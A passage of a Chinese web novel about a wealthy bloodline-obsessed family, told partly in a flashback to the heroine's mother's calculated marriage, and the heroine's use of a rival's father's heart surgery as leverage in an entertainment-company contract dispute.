“但他的确是个冷酷绝情的坏哥哥。”邱岸山道,“比我还要混账。” 邱芜澜瞥向另一侧的季葶。 她不是没有听见,方才邱岸山逼季葶喊的那一句——“哥哥”。 她被邱岸山抱着,没有反驳邱岸山将他自己和邱承澜作比较。 这只是因为他是她的父亲,不代表她赞同他的话。 邱芜澜在本家待到正月初三。 出发前夕,她房里被插上了几支蔷薇。 “是温室培育出的新品种,”女佣向她讨赏,“香味没有那么浓,放在卧室里也合适。” 邱芜澜捻着红白渐变的花瓣,透过窗户,随时能望见底下的蔷薇园。 她没有夸赞来邀功的女佣,但带走了那一朵蔷薇,回到了自己的别墅。 “谢谢姐姐。”温热的身体从后拥了上来,季尧贴着她颈侧,“我会好好演那部剧。” “我没费什么劲,”邱芜澜放松身体,向后靠入季尧怀中,“哥哥答应得异常爽快。” 她至今都有些恍然,邱承澜在提解约时的姿态不容置疑,为什么第二天自己一提,他就立刻同意了。 季尧眸光微移,“承澜哥以前拒绝过姐姐么?” 哥哥拒绝过她么…… 邱芜澜沉吟片刻,“我不记得了,但他会纠正我。” 她印象里没有被邱承澜拒绝的时候,可邱承澜的性格太过独断、强势,让邱芜澜有些不确定这个答案。 他是严律己外的人,不可能三十年来都没有拒绝过她,大抵只是她忘了。 纠正两个字让季尧很不舒服,很多话到了嘴边,又都转回咽下。 他不敢在邱芜澜敏感的逆鳞上指手画脚。 “在我眼里,承澜哥和姐姐是一样的。”但他不能再一昧保守下去,他必须在这个关键节点上推动些什么。 “一样什么?” 季尧低笑,“一样的傲娇。” 邱芜澜诧异转头,仿佛听见什么鬼话。 “不对?”季尧无辜地回望她。 邱芜澜想了想,摇头,“我不傲娇,哥哥倒确实不善于表达感情。泽安泽然总是误解他、害怕他,其实哥哥远比他们想象的要好相处。” 季尧隐晦地提醒她:“承澜哥没有看起来那么凶狠霸道。” 面对他时,她完全可以试着强硬些。 “我知道。”邱芜澜收拢掌心的蔷薇,说,“所以我不想让他为难、失望。” 季尧半垂眼睑,他不能指望一两句话就改变邱芜澜的观念,对她来说,邱承澜的地位远比邱岸山、比秋叶娱乐要高。 不能再继续了。 一旦被邱芜澜嗅出挑拨离间,她会毫不留情地抛弃他,像是元旦那晚一样,将他冷置上数日。 季尧没有游戏的资本,他必须步步谨慎。 “姐姐,尘霄哥有来找你么?”他改换了另一条道。 “怎么了。” “感觉他最近有点忙,”季尧歪着头,“他父母都去世了,和家里亲戚断得一干二净,放假这几天,我还以为他会粘着姐姐。” 邱芜澜收回远眺的目光,眼睛休息够了,又回到了办公桌前。 “他没有找我,估计有自己的事。” 季尧听出了她的冷淡。 过节之前,唐知行给RNI接了一个献血的公益,那是距离韩尘霄醉宿失踪后的第十天,超过一个星期。 这个时间抽血很特别。 如果两个半月到三个月里还有类似的活动,或者直接是一场体检,那邱芜澜对华君润的态度便耐人寻味了起来。 季尧饶有兴味地瞥了眼小区某处,旋即收回目光,将注意力放在邱芜澜身上。 邱芜澜回到座位,面对屏幕上邱泽安发来的第四版ASHS合约,五指搭在键盘上,迟迟没有敲定。 她睨向身后的少年,视线交触,季尧的表情没有变,却莫名焕发出一层甜蜜的色彩。 邱芜澜不明白季尧为什么总是陷在“渴求”的状态里,无论她给予他多少爱抚、金钱、物资,他永远都干渴着。 她不清楚他到底想要什么,他也不愿意向她撒娇坦白。 无端的,邱芜澜倏地记起邱承澜过年离开庄园时自己的心情。 她急着下楼,想再抱一下他,哪怕他们已经拥抱过了无数回。 可他没有等她。 “阿尧,”将心比心,她对季尧伸手,在他俯身靠过来时,揉了揉他的脑袋,“给我茶。” 少年的眉梢、唇角不经意地上扬。 谈不上喜悦,一种只可意会的明媚充溢徜徉,邱芜澜被他的情愫感染,心情奇异的舒缓。 她又揉了把毛茸茸的脑袋,从前她喜欢季尧头发的手感,而今已成一种习惯。 当季尧泡好花茶,那馥郁的茶香熏润她的感官后,邱芜澜的愉悦又添了一层。 她的身体无比放松,精神稍有亢奋。 这是完美的工作状态。 季尧总能将她引入这种状态中,因而邱芜澜允许他待在自己的办公室,哪怕只是趴在沙发上打游戏。 这一片的别墅区禁放烟花,特殊的节日里,原本的清静变得有些冷寂。 邱芜澜扫过套间里的三角钢琴,她是骄奢惯养的,吃不了一点味道不对的食物,也听不了一点有磨损的音乐。 还没想好要不要开口,季尧便放下珐琅茶壶,起身去了套间。 他掀开琴盖,未经机器分毫压缩的乐声流泻而出。 在这和缓的琴声里,邱芜澜直面修改后的ASHS合约。 看着进度缓慢的改革,邱芜澜想起了季尧除夕晚上,哭求她不要解约时说出的情报: 「乔尹最近频繁关注心脏移植手术,他助理说他上个月请假了三次,每一次都说家人生病,搞定乔尹,推进ASHS合约改革就成功了一…」 哥哥当场同意了取消解约。 他对季尧的态度似乎松动了两分。 既然如此…… 邱芜澜点开了简的对话框。 在馝馞的茶香中、在轻缓的钢琴里,她输入对话: “去了解下乔尹家里的情况。” 打完这行字,她立刻将对话框隐藏。 强烈的背叛感顶在心口,邱芜澜想用茶压一压,手碰到杯子,意识到茶也是出自季尧之手后,她生硬地收回,继续覆在了键盘上。 那朵从本家带回来的蔷薇经过一路折腾,花瓣有些发蔫。 它是新培育的品种,颜色和味道都淡。 从前的蔷薇园里没有这样的品种,不是技术上的问题,而是邱家的女主人不喜欢寡淡的花香。 她离开很久了,可每一次家族的聚会上,总有人会提到她。 第46章 第四十六章·【过去】 …… 邱芜澜意识到, 自己的父母和别人家的有些不一样。 别人家的妈妈,是不会管丈夫叫“哥哥”的。 父亲很忙,她去问母亲, “为什么您要叫父亲‘哥哥’呢,近亲是不能结婚的。” 邱夫人弯眸, “因为,你父亲喜欢我这么叫他。” 六岁的邱芜澜还抱着粉红色的憧憬, “母亲,听说您和父亲结婚前从来没有见过面,你们是一见钟情吗?” 邱夫人被那四个字逗笑了。 她笑完, 回答了邱芜澜的问题, “不能说从来没有见过面。你父亲决定结婚的那一年生日, 你爷爷把我和很多旁支的女孩儿找了过来。” “他从那么多的女孩里, 对您一见钟情了?”邱芜澜眨巴着眼睛期待道。 “嗯。”邱夫人点头。 “您是不是所有人里最漂亮的?” “不, ”邱夫人抚着她的头, “芜澜, 聪明的男人不会凭借外貌选择妻子。我不是最漂亮的,但我是最聪明、最勇敢的。” “您做了什么?” “我对你父亲说了一句话。” 要避免近亲联姻,所选择的女孩都是旁支里的旁支, 从来不曾踏入过本家。 当一众未出校门的女学生聚集在富丽堂皇的庄园里时, 她们忐忑着、紧张着、瑟缩着。 一切都是陌生的, 陌生的房子、陌生的人,普遍不过二十岁的她们在失去父母陪伴的情况下连东南西北都无法分清。 她们拿着家里准备的礼物, 惧怕者一声不吭, 避邱岸山如水火;攀附者谄媚地向邱岸山介绍自己的情况。 这时候,刚读完大一的邱锦走上前,对仿佛正在挑选商品的邱家少爷说了一句—— “生日快乐, 哥哥。” 意兴阑珊的邱岸山抬眸,看向了她。 他好奇地盯了她一会儿,判断道,“你长得可一点儿都不像邱家人。” 和高挑、清冷的主家人相比,邱锦娇小、甜美,身高才刚到一米六。 “是的,”邱锦挑起胸前的一缕垂发,发尾微卷,“我只遗传到了奶奶的头发。” 奶奶是邱岸山的奶奶,和邱锦没有一点血缘关系,根本谈不上遗传。 邱岸山很清楚这一点。 他被取悦了,自口袋里摸出一枚钻戒,坐在两旁女孩儿的簇拥间,冲邱锦伸手。 邱锦雀跃着,将左手递给了他。 不到半年,邱锦便成了邱夫人。 她在婚礼上,当着牧师的面发誓,“我愿意成为哥哥的妻子,从今往后,只有死亡才能将我和哥哥分开。” 牧师吓了一跳,尤其是这对新人还真是同一个姓。 他不敢往下继续,他的宗教没有明文反对近亲联姻,但他所在的国家法律并不允许。 和面色难看的牧师相反,听见这句誓词后,邱岸山眸色倏地暗了下来。 他猛地匝住邱锦的腰,隔着头纱与她深吻,呼吸狂热,充斥着亢奋。 “他对我,一见钟情了。”邱夫人如此总结道。 邱芜澜迷茫地望着微笑的母亲,这段陈述太过晦涩,她没听懂一见钟情的原因。 邱夫人没有解释,她对女儿眨眼,“告诉你一个小秘密。” “如果你想让你父亲为你做点什么,与其阐述理由、修饰措辞,不如在句末加一声‘父亲’。” 她牵着邱芜澜下楼,客厅落地窗外是大片的鲜红蔷薇。 “这个办法对您有用吗?”邱芜澜问。 “很遗憾,我和你父亲完全相反。” 喊母亲没有用,邱芜澜于是阐述理由、修饰措辞,“可以把蔷薇园移到别的地方吗,那么多蔷薇太呛人了,我觉得嘴巴里酸酸的。” “当然可以啦,”邱夫人亲了口女儿的侧脸,“只要你掌管这座庄园,就可以随心所欲地布置里面的一切。” “我现在就不想要这些花。”邱芜澜说。 “不行~”邱夫人弯眸,“现在这里的管理者是我,我喜欢这些花。” 母亲走不通,邱芜澜转而去求邱岸山。 第二天,在听见门口女佣发出“少爷回来了”的迎声后,邱芜澜立刻起身,往楼下跑去。 她还没下几阶台阶,一声甜腻的“哥哥”抢在了她之前。 早已在楼下等待的邱夫人乳燕回巢般投入邱岸山的怀抱,搂着他的胳膊,依恋地同他交颈。 “哥哥,我好想你。” 邱岸山下巴抵着她的发顶深嗅,“今天过得还好么。” “很好。”邱夫人仰头,爱慕地望着他,“你这一周都回来得很早,我好高兴。” “我想你了。”邱岸山环住她的腰,“接下来几天都在家办公。” “父亲。” 这恩爱的场景每天都要上演,邱芜澜早已习以为常,她面无表情地打断了他们。 “哦,我的小天使。”邱岸山分出一只手来,抚过邱芜澜的脸颊,“今天开心么。” “一切如常。”邱芜澜敷衍地寒暄之后,直奔主题,“我不喜欢外面的蔷薇,能把它们移走吗,父亲。” 她用上了母亲教的诀窍。 邱岸山动容地回应,“当然可以,我没有任何意见。” 邱芜澜唇角还未扬起,邱夫人便拽住了邱岸山的西装,“哥哥,那是我喜欢的花。” 邱岸山举起双手,“抱歉小天使,我没法从‘父亲’和‘丈夫’两个身份里做出选择。但我可以为你组织一场竞选,谁有能力管理这座庄园,谁就能支配它。” 邱芜澜看见邱夫人倚在邱岸山怀里,她对着自己的女儿露出游刃有余的笑。 一种上位者俯瞰时,戏谑玩味的笑。 “别气馁宝贝。” 转天,她带着亲手烘烤的饼干来探望邱芜澜,“你很幸运,出生在一个公平的氛围里。” “公平?”邱芜澜不以为然,“要一个六岁的孩子和大人比管理能力,这一点儿都不公平!” 她有点生气,用发绳去绑娃娃的耳朵四肢,把好好的大熊娃娃勒成了粽子。 “你有数不尽的备赛时间。”邱夫人拿走被绑得凹凸不平的熊娃娃,递给她自己做的饼干,“在这个世上,这场比赛已经足够公平了。” “我不想吃无糖的手工制品。”邱芜澜说,“我想吃辣条,表妹带来的那个。” “表妹?” “沁沁表妹!” 邱夫人了然地哦了一声,她放下盘子,没有逼迫邱芜澜吃,扬了扬手里的熊,“这个,我收走了。” “不行不行,我喜欢这个!”邱芜澜伸手去拿,没有拿到,邱夫人温柔地教导她,“迁怒是很不好的行为。芜澜,你不该把时间精力花在折磨无辜的小熊上。我替你收着,等你不会再欺负它的时候,我会还给你。” 她拿走了小熊,那之后,邱芜澜再也没见过沁沁表妹。 不仅是垃圾食品,只要邱夫人在家,她不会让任何人碰孩子们的饭菜。 送去疗养的大儿子暂且不论,邱芜澜和后出生的两个幼子必须吃她做的食物。 邱夫人深知邱岸山在乎什么,他是这一代邱家中最崇尚血统论的变态。 丈夫和妻子的关系并不永恒,哥哥和妹妹、父母和子女才是绑死一辈子的关系。 除了管邱岸山叫哥哥,她还需要通过加强和孩子们的联系,间接维护自己在邱岸山心中、在这座奢华的庄园里的地位。 “芜澜,我听说你最近每天都会待在衣帽间。” “我没有耽搁学习。” “但它们会挤占你的精力。”邱夫人蹲下身,担忧地扶着邱芜澜的双臂,“人的精力是有限的,芜澜,你每天只有八个小时的休息,却要花费精力选择从头到脚的造型,连一颗纽扣都有上百种选择,能挑上半个小时。我真的很担心你。” 邱芜澜不明白翻看自己的衣服饰品有什么不对,她只懵懂地觉出了母亲的忧虑和难过。 母亲在关心自己。 “我以后会少去的,母亲。”她似乎应该为此道歉。 “不是少去。芜澜,那从来不是你该去的地方。”邱夫人对管家说,“把衣帽间挪到楼上,以后小姐所有衣饰都由女佣挑选后带下来,她不必在这种事上费心。” 她没有强迫邱芜澜吃那盘饼干,只是温柔地帮她排除了其他零食。 邱芜澜没有再见到沁沁表妹,但有了其他玩伴——和她相似出身、更有共同话题的女孩儿。 “你姐姐怎么又换男朋友了?” “没办法,现在男的都太离谱了——他带我姐出去吃饭,居然带她去吃炒面。” “炒面怎么了?” “不是我们吃的那种,是夜市路边摊上的炒面。还问她‘是不是很好吃’‘你从来没逛过夜市吧’。” “噫——他是脑残小说看多了吗?” “太可怕了,那种重油重盐还沾着灰尘的东西,吃一口和折寿有什么区别。” “我之前没敢告诉你们,其实……我吃过快餐店的炸鸡。” “天呐,你和自己的心血管有什么仇恨吗?” “因为网上都在吹,我就想着去试一下嘛。” “怎么样,好吃吗?” “嗯……像是把死肉冻了一年,然后用剩菜里凝固了三天的油炸出来的味道。” “够了,别说了。” “味道虽然一般,但有一种奔向死亡的快感。” “这是什么M发言……” “芜澜呢,你有被网上的营销骗去吃什么东西吗。” “没有。”邱芜澜翻过新一刊的企业访谈,在里面寻找自己的家人,“我不习惯外面的食物,大数据也不会给我推送我不感兴趣的东西。” 几个女孩毫不意外,“毕竟你妈妈做饭真的很绝。我要是天天吃你妈妈做的菜,我也瞧不上外面的。” “对了,阿姨的病怎么样了?感觉好久都没见到她了。” 邱芜澜垂眸。 那只熊娃娃回到了她手里。 邱夫人偶尔会逗弄她,但从来不会欺骗她,她答应还给她,就一定还。 邱芜澜不再会迁怒了,也不再需要抱着娃娃入睡了。 那只熊被她转手交给了简,放在了她不关心的某个角落,和那些衣饰一样,只有在她做玩具市场调研时才会想起。 手中的杂志停在了邱岸山的访谈页面上。 “我也有一段时间没有看见他们了。”她回答了那个女孩。 邱锦去世前,邱芜澜最后一次去医院看望她时,带了一束蔷薇。 “哎呀,”病床上的女人气若游丝地笑着,“是幻觉么,我叛逆的兰花姑娘手里怎么出现了俗气的蔷薇。” “我没有说过蔷薇俗气,”邱芜澜帮她把花插上,“只是个人喜好不同而已。” 邱夫人笑笑,没有说话。 她躺在床上,像是一片宣纸压在被子下。 病房里越来越冷清,很多人不再来了。 “母亲,”邱芜澜坐在床边,静静地凝望她,“你恨父亲么。” “嗯?恨他什么?” “恨他花心滥情。” 邱夫人被那四个字逗笑了。 她笑完回答了邱芜澜的问题,“我又不爱他,为什么要恨他花心。” 邱芜澜瞳孔微缩,像是一直遮蔽着自己的房子轰然倒塌。 “芜澜,别露出这种表情。你父亲不是个忠诚的爱人,但他是个忠诚的丈夫、忠诚的父亲。他背叛爱情,却永远不会背叛家庭。” 邱芜澜扯了扯嘴角,如果邱岸山的行为也能称作“不背叛家庭”,那这世上就没有背叛家庭的男人了。 “别恨他。你可以毫无顾忌地爱他,他不会辜负你的爱。”邱锦看出了她的不屑,“泽安泽然出生后,你父亲就结扎了。” 邱芜澜一愣。 说了几句话,病床上的邱锦状态肉眼可见地变差,她的脸上没有一丝血色,眼下却有浓重的青黑。 “爱惜你的身体,更要珍惜你的头脑,利用好你拥有的一切。”邱夫人握住她的手,苍白地牵动嘴角,“芜澜,我的女儿,我真是嫉妒你,也是真的爱你。” 第47章 第四十七章 邱芜澜把玩着季尧微卷的软发。 她靠坐在床上, 季尧贴着她,拧腰枕着邱芜澜的腿。这个姿势不舒服,但他沉沉地睡着, 唇角上扬,脸颊泛着粉意。 窗台上一朵红白渐变的蔷薇花瓣萎靡, 一分一秒地腐烂着。 过年间亲戚们的闲谈和这朵反季节的蔷薇一并出现,让邱芜澜难免想起了一些往事。 正如邱夫人对邱芜澜的感情一样, 邱芜澜对母亲的感情也很难用简单的词汇概括。 她是可悲的,也是聪明的,尤其是在邱岸山的事情上, 邱锦一针见血, 从未有过失误。 她说的没错, 邱岸山不会背叛家庭。 从前邱芜澜视邱岸山带情妇回家为背叛, 随着年纪渐长、身上的瘾症加重, 她才明白为什么母亲病重后邱岸山鲜少回家、为什么他一定要在家里安置一个情妇。 他想回家, 可不能在孩子们面前暴露丑态。 当众发作性.瘾是丑态, 服药后行尸走肉的模样也是丑态,他必须在家里安置一剂紧急备用药。 邱岸山没有挑选一个邱家女人再婚,他以病态扭曲的方式保卫着邱锦作为配偶独一无二的地位。 无数的情人里, 邱岸山选择了季葶, 不仅是因为季葶有着和邱夫人相似的头发、长相, 更也因为她们有某种共同的特质。 他知道邱锦不爱他,可他还是对她一见钟情, 沉溺其中。 不管有何种原因, 她的父亲都是个人渣,在遗传性的焦虑症下,放任自己性成熟之前就浸泡在女色里, 通过性来缓解焦虑。 这种过早、过多的性.刺激,慢慢演变成了瘾症。 他遗传了上一代的病,又自己给自己加了一种。 和邱夫人结婚的那十几年,是邱岸山最“洁身自好”的日子,那时候他同时拥有的女伴最多不超过三位,最少的时候,甚至能保持几个月的单身。 那些残忍、古怪的手段,他一次都没有在邱夫人身上用过。 并非不想,而是邱夫人抓住了邱岸山的弱点。 只要她无助地望着他,脆弱而担忧地唤一声“哥哥”,邱岸山便无法不答应她的请求。 对于极度崇尚血统论的邱岸山而言,家人的地位至高无上。 不论邱锦爱不爱他,她都姓邱,是家人,不是可以发泄的玩具。 他不是忠诚的爱人,却是忠诚的家族成员。 直至今天,邱岸山都没有再婚,他誓死捍卫妻子的地位、保护孩子们的安全、领导着家族成员们捕食狩猎,为这个家带来源源不断的丰厚资源。 过去,邱夫人闲暇时喜欢带着孩子坐在蔷薇园前的长凳上赏花。 邱泽安邱泽然以及小时候的邱芜澜并不觉得一片蔷薇有什么可欣赏的,它从他们出生以来就理所当然地开在那里,和路边的杂草没什么区别。 他们不懂赏花,却很喜欢和母亲一起坐在蔷薇园前,每每这个时候,母亲的心情都会非常愉悦,态度也异常温柔。 “母亲,你恨父亲么?” “嗯?恨他什么?” “恨他花心滥情。” “我又不爱他,为什么要恨他花心。” “可每天面对这样一个男人,难道您一点儿也不难受么。您在最好的年纪嫁给了他,学业还未完成,就被束缚在这座庄园里,再也没有人记得您的名字,人们只知道邱夫人。” 邱夫人笑了出声,她很少笑得这样肆意,以至于竟有些狂悖了。 “芜澜,你是我最爱的孩子,可有的时候,我也真是嫉妒你。” 她坐在病床上,端庄温婉地端详邱芜澜,暖色的瞳孔深望进了她的内心,“你瞧不起我,是么。” 邱芜澜急切道:“我…” “我知道,宝贝,我知道你爱我。你只是觉得待在家里教父相子的家庭主妇可怜又懦弱。” 邱芜澜别过头,涩然道,“我是觉得,以您的能力,待在家里实在可惜。” “这就是我嫉妒你的原因。”邱夫人说,“你说话做事永远那么理所当然,和你那些朋友一样,疑惑人们为什么要吃僵尸肉、为什么要为了区区几十万跳楼。” 她叹息着,“芜澜,你很幸运,出生在一个公平的氛围里,你参加的每一场竞技,都有着绝大多数人遥望不及的公平。” “我从来不觉得自己没有工作。”她笑道。 “你父亲的生日宴是我的试镜,我未必是最优秀的演员,却是最富有的。我所拥有的财富,是明星财富榜榜首的数倍。” “‘你的母亲是全球最成功的女演员’——我这么说,你会收回你傲慢不自知的怜悯,为我而感到骄傲自豪么。” 邱芜澜讷讷着,说不出一句话来。 邱夫人恬淡地平视她:“芜澜,不要为我难过,我有着奢华宜人的工作环境、超过九位数的年薪、温和风趣的上司、尊敬服从我的下属。你瞧不起的这枚婚戒,是我拼尽全力、花尽运气所能得到的最好录用书。” “邱锦的人生再不会有比这更好的工作了。” “邱夫人也好,邱锦也好,称呼又能代表什么呢,”她捻动着婚戒上的钻石,“没有人拥有绝对的自由,你父亲也不过是邱总和邱董罢了,谁会在乎邱岸山。” 当邱泽然哭着向邱芜澜告状,说季尧玷污了母亲在蔷薇园前的长椅时,邱芜澜并没有和弟弟们同仇敌忾。 母亲喜欢的从来不是一把椅子、几朵蔷薇。 她坐在那里,是在欣赏自己一生获得的最高成就,品尝手中权力的美妙滋味。 要想保留母亲的长椅,他们争夺的对象不该是一个情妇,而是掌握了这片蔷薇园的邱岸山。 没必要迁怒懵懂无知的男童。 “邱总。” 非紧急必要的工作,简不会给邱芜澜直接拨打语音。 “查到了,乔尹的父亲上个月被检查出四级心衰,医生说,最多只有一年了。” 邱芜澜抚着季尧头发的手指微收。 “乔尹不缺钱,”她问简,“为什么没有立刻安排手术?” “医院不肯做。”简查得很详细,“心脏移植手术要求受体在65岁之内,他父亲已经73了,还有一些基础病,儿子又是有名的公众人物,权威的医生都不愿意冒险。” “我们的医生有多少把握?” “我把他父亲的情况发给了我们能联系上的所有外科医生,有三位有把握尝试。” 邱芜澜沉吟,淡淡的蔷薇甜气萦绕着她。 她问:“普斯顿医院里,有医生能接么。” 简的声音出现了停顿,“……有的,杨医生。” “去安排一下,越快越好。” “好,您明天下午有空,需要我帮您约乔尹谈么。” “不,”邱芜澜捻着季尧的发丝,“让他父亲的主治医师给他推荐我们的医生,如实告知风险,做不做由他自己决定。手术之后,我再去见他。” 简有些担心,“手术完成后,他翻脸不认账怎么办。” 机会只有一次,ASHS里没有一个缺钱缺人脉的,寻常事物用不着别人帮忙,错过了乔尹父亲这事,短期内再难有拿捏ASHS的机会了。 “谈不拢没关系。”邱芜澜淡声道,“要是他父亲在我们的医生手上出事了,那才是不可收拾。” “是。” “如果他愿意手术,就把普斯顿的7068病房空出来。” 简的声音透出两分不赞同的焦急:“小姐,这是……” 邱芜澜打断她:“按我说的办。” 结束通话,邱芜澜五指深入季尧的发间,房里的暖气将花香催出暮气沉沉的甜味。 她半瞌眼睑,看着腿上转醒的少年。 “是谁告诉你的。” 宋折凝走后,剩下的四位ASHS里,乔尹业绩排名第一。 他很谨慎低调,鲜少聊自己家事。 发生不到一个月内发生的事,连她都不知道,季尧却有了消息。 语音连通的瞬间,酣眠的少年便悄然睁眼。 他保持着躺姿未动,刚睡醒的嗓音有些喑哑,褪去了少年的清亮。 “他妻子内推了一个女生进来,天天在办公室炫耀自己和乔尹的关系。姐姐想改革ASHS,我就留意了下他们身边相关所属人员。” 邱芜澜听着,轻柔地撩拨他的发根。 季尧偏头,鼻尖贴着邱芜澜的手腕内侧滑动,“乔尹整个团队口风都很紧,他身边,只有他的妻子不太聪明。” 不论邱芜澜问这句话是在忌惮、试探,还是仅仅好奇,季尧都毫无保留地全盘托出。 定位裙带关系的目标不难,不需要找私家侦探,那些没有真材实料、靠着关系进公司的人,往往都很出名。 对目标简单侧写后,季尧制造了一场偶遇。 他用邱芜澜的权限调出了监控录像,统计出那个叫做YUUMI的女生的茶歇时间。 在那个时间段里,季尧去了她部门的楼层,趴在前台和接待闲聊。 季尧很显眼,即便是在娱乐公司,他的外貌也相当拔尖;更拔尖的是他的身份—— 邱芜澜的表弟,有钱、单身、年轻。 艺人很少出现在这一层办公区,YUUMI出来接水时,一眼就看见了和前台接待说说笑笑的季尧。 她故作镇定地走了过去,一副热心帮助自家接待小姐姐的架势,“怎么了?是要找经理吗?” “不是,”季尧懒洋洋地撑着下巴,“是我太无聊了,来找文文姐玩儿。” 文文姐——称呼中的熟稔暧昧,让YUUMI看向接待的目光立刻有些变味。 她的视线在季尧身上流连,“那你们在玩啥呢,也带我一个呗。” “没玩什么。”接待红着脸推了推YUUMI,“接你的水去。” “干嘛呀,” YUUMI似笑非笑地调侃,“只许你上班摸鱼,不许别人呀。” “在玩真心话,石头剪刀布,谁输了谁交换秘密。”季尧不满地叹气,“文文姐怎么也不肯告诉我她有没有男朋友。” “这我也好奇!” YUUMI眼中闪烁着算计的精光,站去了季尧身边,“我也来我也来!我们今天一起把这事儿撬出来。” 邱芜澜听完,戳了戳他的太阳穴,警告:“不许在公司摸超过半小时的鱼。” “我在为姐姐工作。”季尧马上撇清自己,“摸鱼的是她们。” 他反驳了摸鱼的行为,却没有反驳时间,邱芜澜蹙眉,“你们还真玩了半个多小时?” 季尧甜甜弯眸,“因为我和她都是有名的关系户,部门领导一句话都不敢说。” “现在我知道了。”邱芜澜冷漠道,“你们三个包括所属领导的绩效,我会让人事扣除。” 季尧翻过身,巴巴望着她,“姐姐~” 邱芜澜低头同他对视。 “你是组织者,你双倍扣。” 季尧咬住口中的软肉,甜意如细微的电流,丝丝缕缕地流过全身,令指尖头皮遍布酥麻的暖意。 她在有意配合他的玩笑,那就说明,这不是试探,只是好奇; 她不追究他私自调监控的行为,却在摸鱼的话题上打趣,足以证明她对他的宠信。 或许是第一次反对邱承澜过于顺利,让邱芜澜觉得,邱承澜没有自己想象中那样排斥季尧; 又或者是季尧帮她解决了一个大难题,让她对他生出了两分宽容。 不管是哪一条原因,她没有计较他私下插手ASHS合约改革一事。 勒在季尧脖颈上的项圈不觉间放松。 这倒并非是他的有意试探,当邱芜澜预备遵从邱承澜的命令、将他逐出秋叶娱乐时,季尧虽然看出了她的犹豫挣扎,却根本没有十足的把握。 邱承澜的重要性非比寻常,上一次,他的一句话令他被邱芜澜雪藏数年;孰知这一次会是什么结果。 尽管季尧没有资格站在邱芜澜身边做事了,但他还是忍不住关心她周围的一切,试图在限制范围内为邱芜排除危险、减轻压力。 私下探听ASHS的把柄只是徒劳无功的作业,像是酒柜里那些不含酒精的酒,纯粹是欺骗自己还有价值的游戏。 查出的一切成果,季尧都只能辗转委婉地透露给其他人,再眼睁睁看着他们拿着自己的成果去邱芜澜面前邀功、得到她的赏识。 本家那晚,被邱芜澜拒绝的季尧陷入了应激状态,未经思索地将乔尹的事脱口而出。 话已出口,粉饰遮掩只会火上浇油,季尧唯一能做的就是和盘托出,交由邱芜澜来审判。 邱芜澜抚摸着季尧的软发,“那么,宋折凝的经纪人又是怎么了。” “公司里有岚的大学同学,听他说,岚离开秋叶后,在外地和国外的朋友圈子里打听工作机会。她没有找省内的同事同学,似乎是在瞒着宋折凝跳槽。” “你是什么时候知道的。” “半个月前。” 于是,那场慈善晚会,陪在宋折凝身边的不是岚,而是从前名不见经传的小助理芳若。 邱芜澜不由得叹息。 她想起了很多“不经意”传到简耳朵里的小道消息,又想起周围人对季尧的评价—— 毫无能力、靠着姐姐混日子的草包花瓶。 邱芜澜伸手,从床头剥了个糖,推进季尧口中。 “去做饭,”她的拇指在季尧鼓起的脸颊上揉圈,“我饿了。” 季尧弯眸,这种笑总是让人联想到初生的小狗。 他顺从地离开,在他的脚步声下楼之后,邱芜澜拉开抽屉,取出药瓶。 她面色平静,但吞咽的动作有两分显而易见的急。 一种强烈的情愫刺激到了她的中枢神经。 意识到季尧这些年做了什么后,无边的疼惜、愧疚、喜悦、满足漫灌了心田。 当季尧冲她露出乖软的笑容时,她竟生出了亲吻他的冲动。 邱芜澜捂着唇,将那几颗药一股脑儿压进喉咙里。 古怪病态的躁热逼得她眼角泛红,而瞳仁之中,又是深不见底的暗。 她的父亲是个人渣,她是人渣的亲生女儿。 越是长大,她越能发现自己和邱岸山的共性—— 她比邱岸山更扭曲地崇尚血统论,以至于哪怕不是邱姓,只要对方在她怀里长大、亲热地喊她姐姐,她都会赋予对方家人的滤镜。 她没办法割舍季尧,无论多少次下定决心都以失败告终。 只要季尧无助地望着他,脆弱地喊一声“姐姐”,邱芜澜便无法不答应他的请求。 她不想伤害他、不想成为邱岸山,可她根本无力抵抗这轮回的宿命。 药效还未起。 距离韩尘霄体检还有整整两个月。 她隐约听见了楼下油脂爆开的嗞啦声。 她不该听见这声音,和上次听见足音时一样,听觉再度异化了。 邱芜澜瞌眸,枕着靠背,小臂挡在了眼前。 即便闭上眼,她脑海中也能浮现季尧穿着围裙的模样。 他紧窄的腰后系着丹凤结,随着走动,纤细的绑绳如春柳微微摇曳。 细细密密的疼啃噬着邱芜澜的心尖。 有些事她隐隐察觉了,可是不想面对,于是一昧逃避。 他为她做了那么多餐饭,却没有得到华君润当年的千分之一。 这太不公平。 第48章 第四十八章 乔尹接受了转院。 开了年, 当简来汇报他父亲脱离危险期、下周就要出院时,恍然已过去了一个月。 “手术很顺利,杨医生说, 他恢复得很不错。” “乔尹什么时候会去医院。” 简确认了下乔尹的排程,“今晚八点后。” 邱芜澜起身, “准备一下,我们过去。” 车子停在斯普顿医院楼下, 简盯着手机,时间过了八点半,她扭头对后座的邱芜澜道, “场务说乔尹已经结束拍摄, 坐上车离开了, 从青桥过来, 预计四十分钟。” 邱芜澜颔首, “杨医生还在么。” “还在, 我和他说了, 您今晚会过去,让他等一等。” 临近九点,邱芜澜下车进入了医院, 径直前往住院部7068号病房。 她前脚进了医院, 后脚一辆宝蓝色的保姆车停在了住院部门口。 “今天有点晚了, ”戴着口罩的男人从车上下来,对着车内道, “我去看一眼就下来, 你在这里等我。” “好的乔老师。” 男人迈步,朝着VIP病房走去。 这是家有名的私人医院,收费比普通医院高出不少, 来的人少,VIP楼层更加清静,利于病人疗养。 拐过医院走廊,轻微的交谈声传入男人耳中。 过了晚上九点,进入住院部的休息时间,再轻的说话声都显得清晰。 “芜澜啊,情况就如我之前和简助理说的一样,老爷子恢复得不错,你其实不必特意过来的。” 听见熟悉的人名,男人脚步一顿,定在了拐角后。 “我相信您的医术,只是都一个月了,总得过来看一眼。” “病人们九点就休息了。” “是,抱歉……今天工作难得结束的早,我没多想就直接过来了。既然乔老爷子休息了,那我改日再来。” “你也不必太担心,当初我既然敢说有把握,就不会有什么问题。” “当然。您是我奶奶的医生,我当然相信您。这是一点心意。” “哎呀芜澜,我托大一句:你是我看着长大的,这点事哪里用得着什么心意。快回去吧,才刚开年呢,你就熬了一个月的夜了,你奶奶都比你气色红润。” 邱芜澜笑了声,“好。那我就不耽搁您值班了。” 她返身离开,拐过走廊,在电梯间前看见了一道熟悉的身影。 四目相对,男人取下一侧口罩,神情复杂地开口,“邱总。” 邱芜澜眸光微闪,不自在地别过耳畔的碎发,略显局促地点头致意,“真巧,乔尹。” “恐怕不是巧吧。”乔尹笑了,“这么晚了,您是来探望谁?” 